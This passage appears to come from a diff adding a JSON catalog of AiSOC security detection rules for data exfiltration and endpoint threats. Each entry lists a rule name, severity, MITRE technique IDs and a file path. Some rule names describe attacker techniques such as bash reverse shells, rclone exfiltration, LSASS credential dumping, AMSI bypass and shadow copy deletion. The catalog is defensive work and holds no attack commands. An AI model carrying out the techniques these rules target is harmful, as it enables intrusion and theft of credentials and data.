'Outbound Bytes Spike Above Baseline (Anomaly)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1041"+ ],+ "log_source": "ndr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/egress-spike-baseline.yaml"+ },+ {+ "id": "det-data-exfil-003",+ "type": "detection",+ "name": "rclone or megacmd Process Spawned on Host",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'rclone or megacmd Process Spawned on Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/rclone-process-on-host.yaml"+ },+ {+ "id": "det-data-exfil-004",+ "type": "detection",+ "name": "Archive Tool Then Large Egress Within 15 Minutes",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Archive Tool Then Large Egress Within 15 Minutes'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1560.001",+ "T1041"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/archive-then-egress.yaml"+ },+ {+ "id": "det-data-exfil-005",+ "type": "detection",+ "name": "SaaS File Shared to External Domain",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'SaaS File Shared to External Domain'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/data-share-external-domain.yaml"+ },+ {+ "id": "det-data-exfil-006",+ "type": "detection",+ "name": "Salesforce Bulk Data Export by Non-Allowlisted User",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Salesforce Bulk Data Export by Non-Allowlisted User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "salesforce",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/salesforce-bulk-export.yaml"+ },+ {+ "id": "det-data-exfil-007",+ "type": "detection",+ "name": "Snowflake Large Result-Set Download by Non-Service Account",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Snowflake Large Result-Set Download by Non-Service Account'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "snowflake",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/snowflake-mass-export.yaml"+ },+ {+ "id": "det-data-exfil-008",+ "type": "detection",+ "name": "Database Application Reads Anomalously High Row Count",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Database Application Reads Anomalously High Row Count'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "db",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/db-mass-row-read.yaml"+ },+ {+ "id": "det-data-exfil-009",+ "type": "detection",+ "name": "Bulk Download Outside Business Hours",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Download Outside Business Hours'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1041"+ ],+ "log_source": "proxy",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/off-hours-bulk-download.yaml"+ },+ {+ "id": "det-data-exfil-010",+ "type": "detection",+ "name": "Git Push Containing PII or Secret Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Git Push Containing PII or Secret Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "github",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/github-pii-pattern-push.yaml"+ },+ {+ "id": "det-data-exfil-011",+ "type": "detection",+ "name": "Outbound Paste to Public Pastebin / Gist",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Outbound Paste to Public Pastebin / Gist'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "proxy",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/outbound-paste-public.yaml"+ },+ {+ "id": "det-data-exfil-012",+ "type": "detection",+ "name": "Encrypted Archive Attachment Sent Externally",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Encrypted Archive Attachment Sent Externally'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1560.001",+ "T1567"+ ],+ "log_source": "email",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/encrypted-archive-attachment.yaml"+ },+ {+ "id": "det-data-exfil-013",+ "type": "detection",+ "name": "Mass Print Job From Confidential Document Repository",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Mass Print Job From Confidential Document Repository'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1052"+ ],+ "log_source": "windows",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/printer-mass-print-confidential.yaml"+ },+ {+ "id": "det-data-exfil-014",+ "type": "detection",+ "name": "Bulk Zip Creation on File Server",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Zip Creation on File Server'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1560.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/bulk-zip-on-fileserver.yaml"+ },+ {+ "id": "det-data-exfil-015",+ "type": "detection",+ "name": "Bulk Mailbox Export From M365 Compliance Center",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Mailbox Export From M365 Compliance Center'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1114.002"+ ],+ "log_source": "azure",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/bulk-msg-export-mail.yaml"+ },+ {+ "id": "det-data-exfil-016",+ "type": "detection",+ "name": "Inbox Rule Forwarding to External Address",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Inbox Rule Forwarding to External Address'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1114.003"+ ],+ "log_source": "azure",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/exchange-mail-forward-external.yaml"+ },+ {+ "id": "det-data-exfil-017",+ "type": "detection",+ "name": "Backup Export to Non-Allowlisted Destination",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Backup Export to Non-Allowlisted Destination'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/backup-export-anomalous.yaml"+ },+ {+ "id": "det-data-exfil-018",+ "type": "detection",+ "name": "Container Image Mass Export to External Registry",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Container Image Mass Export to External Registry'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1567"+ ],+ "log_source": "cloud",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/container-mass-image-export.yaml"+ },+ {+ "id": "det-data-exfil-019",+ "type": "detection",+ "name": "VPN Tunnel Large Download from Foreign Country",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'VPN Tunnel Large Download from Foreign Country'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1041"+ ],+ "log_source": "vpn",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/vpn-large-download-foreign.yaml"+ },+ {+ "id": "det-data-exfil-020",+ "type": "detection",+ "name": "Secrets Manager Bulk Fetch by Human Principal",+ "description": "AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Secrets Manager Bulk Fetch by Human Principal'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "data-exfil",+ "mitre_techniques": [+ "T1555",+ "T1530"+ ],+ "log_source": "cloud",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/data-exfil/secrets-mass-fetch.yaml"+ },+ {+ "id": "det-endpoint-001",+ "type": "detection",+ "name": "LOLBAS Binary Used for Download or Execution",+ "description": "Detects living-off-the-land binaries (LOLBAS) being used to download payloads or execute remote code. These binaries are commonly abused by attackers because they are signed by Microsoft and bypass simple application whitelisting.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1218"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/lolbas-execution.yaml"+ },+ {+ "id": "det-endpoint-002",+ "type": "detection",+ "name": "LSASS Memory Read by Untrusted Process",+ "description": "Detects when a process reads LSASS memory with access masks consistent with credential extraction (Mimikatz-style). LSASS holds plaintext password hashes and Kerberos tickets in memory; access from anything other than allowlisted security software is a strong compromise indicator.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1003.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/credential-dumping-lsass.yaml"+ },+ {+ "id": "det-endpoint-003",+ "type": "detection",+ "name": "Mass File Extension Rename Indicative of Ransomware",+ "description": "Detects bulk file rename operations where file extensions are changed to novel patterns within a short time window. This is a high-fidelity indicator of ransomware encryption activity.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1486"+ ],+ "log_source": "edr",+ "playbook": "tpl-ransomware",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/ransomware-file-extension-change.yaml"+ },+ {+ "id": "det-endpoint-004",+ "type": "detection",+ "name": "Office Application Spawns Shell or Scripting Engine",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Office Application Spawns Shell or Scripting Engine'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059",+ "T1204.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/office-spawn-shell.yaml"+ },+ {+ "id": "det-endpoint-005",+ "type": "detection",+ "name": "PowerShell with Encoded Command and Bypass Flag",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'PowerShell with Encoded Command and Bypass Flag'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.001",+ "T1027"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/powershell-encoded-command.yaml"+ },+ {+ "id": "det-endpoint-006",+ "type": "detection",+ "name": "Process Created via WMI by Non-Admin Tool",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Process Created via WMI by Non-Admin Tool'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1047"+ ],+ "log_source": "edr",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/wmi-process-creation.yaml"+ },+ {+ "id": "det-endpoint-007",+ "type": "detection",+ "name": "Scheduled Task Created Pointing to Suspicious Path",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Scheduled Task Created Pointing to Suspicious Path'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1053.005"+ ],+ "log_source": "edr",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/scheduled-task-create-suspicious.yaml"+ },+ {+ "id": "det-endpoint-008",+ "type": "detection",+ "name": "Persistence via Registry Run Key Write",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Persistence via Registry Run Key Write'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1547.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/registry-runkey-write.yaml"+ },+ {+ "id": "det-endpoint-009",+ "type": "detection",+ "name": "New Service Installed with Suspicious Binary Path",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'New Service Installed with Suspicious Binary Path'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1543.003"+ ],+ "log_source": "windows",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/service-install-binary-suspicious.yaml"+ },+ {+ "id": "det-endpoint-010",+ "type": "detection",+ "name": "Binary Written to ADMIN$ via SMB",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Binary Written to ADMIN$ via SMB'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1021.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/psexec-style-binary-write-admin-share.yaml"+ },+ {+ "id": "det-endpoint-011",+ "type": "detection",+ "name": "EDR / AV Service Stopped or Unloaded",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'EDR / AV Service Stopped or Unloaded'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/edr-unload-attempt.yaml"+ },+ {+ "id": "det-endpoint-012",+ "type": "detection",+ "name": "Volume Shadow Copies Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Volume Shadow Copies Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1490"+ ],+ "log_source": "edr",+ "playbook": "tpl-ransomware",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/shadow-copy-deletion.yaml"+ },+ {+ "id": "det-endpoint-013",+ "type": "detection",+ "name": "Windows Event Log Cleared",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Windows Event Log Cleared'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1070.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/windows-event-log-cleared.yaml"+ },+ {+ "id": "det-endpoint-014",+ "type": "detection",+ "name": "Host Firewall Disabled",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Host Firewall Disabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.004"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/firewall-disabled-host.yaml"+ },+ {+ "id": "det-endpoint-015",+ "type": "detection",+ "name": "Cross-Process Remote Thread Injection",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Cross-Process Remote Thread Injection'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1055"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/process-injection-cross-process-thread.yaml"+ },+ {+ "id": "det-endpoint-016",+ "type": "detection",+ "name": "AMSI Bypass via DLL or Reflective Patch",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'AMSI Bypass via DLL or Reflective Patch'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/amsi-bypass.yaml"+ },+ {+ "id": "det-endpoint-017",+ "type": "detection",+ "name": "ETW Tampering / Logging Disable",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'ETW Tampering / Logging Disable'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1562.006"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/etw-tampering.yaml"+ },+ {+ "id": "det-endpoint-018",+ "type": "detection",+ "name": "Hosts File Modified",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Hosts File Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1565.001"+ ],+ "log_source": "edr",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/host-files-modified.yaml"+ },+ {+ "id": "det-endpoint-019",+ "type": "detection",+ "name": "DLL Loaded with Invalid or Untrusted Signature",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'DLL Loaded with Invalid or Untrusted Signature'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "endpoint",+ "mitre_techniques": [+ "T1574.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/image-load-suspicious-signing.yaml"+ },+ {+ "id": "det-endpoint-020",+ "type": "detection",+ "name": "DLL Loaded From Network Share",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'DLL Loaded From Network Share'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1574.002"+ ],+ "log_source": "edr",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/remote-image-load-from-share.yaml"+ },+ {+ "id": "det-endpoint-021",+ "type": "detection",+ "name": "SUID/SGID Binary Created",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'SUID/SGID Binary Created'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1548.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/suid-binary-creation.yaml"+ },+ {+ "id": "det-endpoint-022",+ "type": "detection",+ "name": "Kernel Module Loaded from Non-Standard Path",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Kernel Module Loaded from Non-Standard Path'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1547.006"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/kernel-module-load-suspicious.yaml"+ },+ {+ "id": "det-endpoint-023",+ "type": "detection",+ "name": "Cron Job Created Pointing to /tmp or /dev/shm",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Cron Job Created Pointing to /tmp or /dev/shm'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1053.003"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/cronjob-suspicious-path.yaml"+ },+ {+ "id": "det-endpoint-024",+ "type": "detection",+ "name": "Shell Spawned by Web Server Process",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Shell Spawned by Web Server Process'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.004",+ "T1505.003"+ ],+ "log_source": "linux",+ "playbook": "tpl-webshell",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/shell-from-web-server.yaml"+ },+ {+ "id": "det-endpoint-025",+ "type": "detection",+ "name": "Reverse Shell Pattern from /bin/bash",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Reverse Shell Pattern from /bin/bash'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "endpoint",+ "mitre_techniques": [+ "T1059.004"+ ],+ "log_source": "linux",+ "playbook": "tpl-malware-execution",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/reverse-shell-bash.yaml"+ },+ {+ "id": "det-endpoint-026",+ "type": "detection",+ "name": "Unix User Added with Login Shell",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Unix User Added with Login Shell'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1136.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/user-add-suspicious.yaml"+ },+ {+ "id": "det-endpoint-027",+ "type": "detection",+ "name": "SSH authorized_keys File Modified",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'SSH authorized_keys File Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1098.004"+ ],+ "log_source": "linux",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/ssh-key-added-authorized.yaml"+ },+ {+ "id": "det-endpoint-028",+ "type": "detection",+ "name": "Container Launched with --privileged Flag",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Container Launched with --privileged Flag'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1611"+ ],+ "log_source": "linux",+ "playbook": "tpl-container-escape",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/container-privileged-launch.yaml"+ },+ {+ "id": "det-endpoint-029",+ "type": "detection",+ "name": "Container Mounts Host Filesystem at /host",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Container Mounts Host Filesystem at /host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1611"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-container-escape",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/container-mount-host-fs.yaml"+ },+ {+ "id": "det-endpoint-030",+ "type": "detection",+ "name": "kubectl exec Into Production Namespace by Non-Operator",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'kubectl exec Into Production Namespace by Non-Operator'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1609"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/kube-exec-into-prod-pod.yaml"+ },+ {+ "id": "det-endpoint-031",+ "type": "detection",+ "name": "macOS LaunchAgent or LaunchDaemon Plist Created",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS LaunchAgent or LaunchDaemon Plist Created'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1543.001",+ "T1543.004"+ ],+ "log_source": "macos",+ "playbook": "tpl-persistence",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-launchagent-write.yaml"+ },+ {+ "id": "det-endpoint-032",+ "type": "detection",+ "name": "macOS TCC Bypass Pattern (Direct DB Write)",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'macOS TCC Bypass Pattern (Direct DB Write)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "endpoint",+ "mitre_techniques": [+ "T1556.006"+ ],+ "log_source": "macos",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/endpoint/macos-tcc-bypass-attempt.yaml"+ },+ {+ "id": "det-endpoint-033",+ "type": "detection",+ "name": "Suspicious AppleScript Execution via osascript",+ "description": "AiSOC v1 curated detection. Triggers on the endpoint signal described by 'Suspicious AppleScript Execution via osascript'. Watch the 1 documented false-positive case 